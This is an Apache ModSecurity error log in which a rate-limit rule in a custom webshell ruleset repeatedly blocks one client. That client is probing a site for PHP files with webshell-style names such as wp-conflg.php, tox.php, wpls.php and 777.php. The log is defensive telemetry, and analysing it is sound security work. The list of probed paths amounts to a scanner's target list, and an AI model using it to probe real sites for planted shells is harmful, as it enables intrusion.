[Sun Dec 21 19:59:16.673869 2025] [:error] [pid 59070:tid 59140] [client 20.2.26.82:1981] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUfhFH3dhXne9KX1kgIhtAAAAIw"]
[Sun Dec 21 19:59:16.993948 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:1900] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUfhFH3dhXne9KX1kgIhtQAAAI4"]
[Sun Dec 21 19:59:17.313721 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:1966] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUfhFX3dhXne9KX1kgIhtgAAAJg"]
[Sun Dec 21 19:59:17.637925 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:2041] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUfhFY7NvyNF8ab5VgUcZAAAAMQ"]
[Sun Dec 21 19:59:18.036617 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:1925] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUfhFo7NvyNF8ab5VgUcZgAAAMU"]
[Sun Dec 21 19:59:18.420137 2025] [:error] [pid 59067:tid 59094] [client 20.2.26.82:1945] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUfhFstpsOP1NfIK_qJAwwAAABQ"]
[Sun Dec 21 19:59:18.724761 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1970] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUfhFn3dhXne9KX1kgIhvAAAAJQ"]
[Sun Dec 21 19:59:19.038424 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1872] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUfhF8tpsOP1NfIK_qJAxgAAAA4"]
[Sun Dec 21 19:59:19.375290 2025] [:error] [pid 59070:tid 59135] [client 20.2.26.82:2018] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUfhF33dhXne9KX1kgIhvwAAAIc"]
[Sun Dec 21 19:59:19.756811 2025] [:error] [pid 59067:tid 59078] [client 20.2.26.82:1921] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUfhF8tpsOP1NfIK_qJAygAAAAQ"]
[Sun Dec 21 19:59:20.172250 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:1804] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUfhGH3dhXne9KX1kgIhwAAAAI8"]
[Sun Dec 21 19:59:20.562092 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:1878] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUfhGH3dhXne9KX1kgIhwwAAAJY"]
[Sun Dec 21 19:59:20.858222 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:1885] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUfhGI7NvyNF8ab5VgUcbwAAAMg"]
[Sun Dec 21 19:59:21.168852 2025] [:error] [pid 59158:tid 59179] [client 20.2.26.82:1807] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUfhGY7NvyNF8ab5VgUccQAAANM"]
[Sun Dec 21 19:59:21.476182 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1942] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aUfhGX3dhXne9KX1kgIhzQAAAJI"]
[Sun Dec 21 19:59:21.828833 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:1967] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aUfhGRmLyLqWUlrjwyds8QAAAEY"]
[Sun Dec 21 19:59:22.174720 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16430] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aUfhGn3dhXne9KX1kgIh0AAAAIU"]
[Sun Dec 21 19:59:22.604759 2025] [:error] [pid 59158:tid 59166] [client 20.2.26.82:16434] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aUfhGo7NvyNF8ab5VgUcdwAAAMY"]
[Sun Dec 21 19:59:22.958155 2025] [:error] [pid 59158:tid 59167] [client 20.2.26.82:1926] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "aUfhGo7NvyNF8ab5VgUcewAAAMc"]
[Sun Dec 21 19:59:23.335176 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:1914] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "aUfhGxmLyLqWUlrjwyds9AAAAEs"]
[Sun Dec 21 19:59:23.678281 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1793] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "aUfhGxmLyLqWUlrjwyds9QAAAFM"]
[Sun Dec 21 19:59:24.002932 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1975] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "aUfhHMtpsOP1NfIK_qJA0QAAAA4"]
[Sun Dec 21 19:59:24.349662 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:1979] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUfhHH3dhXne9KX1kgIh3AAAAIU"]
[Sun Dec 21 19:59:24.748981 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:1887] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUfhHH3dhXne9KX1kgIh3gAAAJA"]
[Sun Dec 21 19:59:25.081353 2025] [:error] [pid 59070:tid 59139] [client 20.2.26.82:1963] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUfhHX3dhXne9KX1kgIh4AAAAIs"]
[Sun Dec 21 19:59:25.472436 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1811] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUfhHctpsOP1NfIK_qJA1wAAABI"]
[Sun Dec 21 19:59:25.965269 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1965] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aUfhHX3dhXne9KX1kgIh5AAAAII"]
[Sun Dec 21 19:59:26.423323 2025] [:error] [pid 59068:tid 59111] [client 20.2.26.82:1899] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aUfhHhmLyLqWUlrjwyds-AAAAEo"]
[Sun Dec 21 19:59:26.913420 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:1837] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aUfhHn3dhXne9KX1kgIh6gAAAIg"]
[Sun Dec 21 19:59:27.350281 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1998] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aUfhH33dhXne9KX1kgIh7gAAAIA"]
[Sun Dec 21 19:59:27.799693 2025] [:error] [pid 59067:tid 59094] [client 20.2.26.82:16445] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aUfhH8tpsOP1NfIK_qJA3AAAABQ"]
[Sun Dec 21 19:59:28.178283 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:1826] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aUfhIBmLyLqWUlrjwyds_gAAAE0"]
[Sun Dec 21 19:59:28.601422 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:1978] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aUfhIBmLyLqWUlrjwydtAAAAAFc"]
[Sun Dec 21 19:59:28.967334 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:1972] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aUfhIH3dhXne9KX1kgIh9AAAAIQ"]
[Sun Dec 21 19:59:29.360707 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:1848] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/777.php"] [unique_id "aUfhIctpsOP1NfIK_qJA4AAAABY"]
[Sun Dec 21 19:59:29.872063 2025] [:error] [pid 59068:tid 59118] [client 20.2.26.82:1809] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/777.php"] [unique_id "aUfhIRmLyLqWUlrjwydtBAAAAFE"]
[Sun Dec 21 19:59:30.181071 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1904] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/777.php"] [unique_id "aUfhIhmLyLqWUlrjwydtBgAAAFM"]
[Sun Dec 21 19:59:30.605758 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:1882] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/777.php"] [unique_id "aUfhIhmLyLqWUlrjwydtCAAAAEQ"]
[Sun Dec 21 19:59:30.936522 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:1893] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUfhIhmLyLqWUlrjwydtCQAAAEg"]
[Sun Dec 21 19:59:31.405333 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:1864] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUfhI33dhXne9KX1kgIh_AAAAIQ"]
[Sun Dec 21 19:59:31.924219 2025] [:error] [pid 59158:tid 59169] [client 20.2.26.82:1861] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUfhI47NvyNF8ab5VgUchwAAAMk"]
[Sun Dec 21 19:59:32.386683 2025] [:error] [pid 59067:tid 59087] [client 20.2.26.82:1946] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUfhJMtpsOP1NfIK_qJA5QAAAA0"]
[Sun Dec 21 19:59:32.720417 2025] [:error] [pid 59067:tid 59093] [client 20.2.26.82:1822] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUfhJMtpsOP1NfIK_qJA6AAAABM"]
[Sun Dec 21 19:59:33.099034 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:16461] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUfhJX3dhXne9KX1kgIiCQAAAJI"]
[Sun Dec 21 19:59:33.476584 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1913] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUfhJX3dhXne9KX1kgIiDQAAAIA"]
[Sun Dec 21 19:59:33.889598 2025] [:error] [pid 59068:tid 59117] [client 20.2.26.82:2029] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUfhJRmLyLqWUlrjwydtDQAAAFA"]
[Sun Dec 21 19:59:34.295027 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1920] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUfhJstpsOP1NfIK_qJA7gAAABI"]
[Sun Dec 21 19:59:34.883866 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:2042] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUfhJstpsOP1NfIK_qJA8AAAAAo"]
[Sun Dec 21 19:59:35.540170 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1919] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUfhJ47NvyNF8ab5VgUckAAAANI"]
[Sun Dec 21 19:59:36.016139 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1949] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUfhKI7NvyNF8ab5VgUckgAAAM0"]
[Sun Dec 21 19:59:36.572042 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:1824] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUfhKMtpsOP1NfIK_qJA9AAAAAg"]
[Sun Dec 21 19:59:36.936995 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:1867] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUfhKH3dhXne9KX1kgIiGAAAAI0"]
[Sun Dec 21 19:59:37.312945 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:1823] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUfhKX3dhXne9KX1kgIiGgAAAJg"]
[Sun Dec 21 19:59:37.796950 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:1879] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUfhKctpsOP1NfIK_qJA9gAAAAs"]
[Sun Dec 21 19:59:38.265599 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:1876] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUfhKn3dhXne9KX1kgIiIAAAAJA"]
[Sun Dec 21 19:59:38.711174 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:1858] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUfhKn3dhXne9KX1kgIiIgAAAI4"]
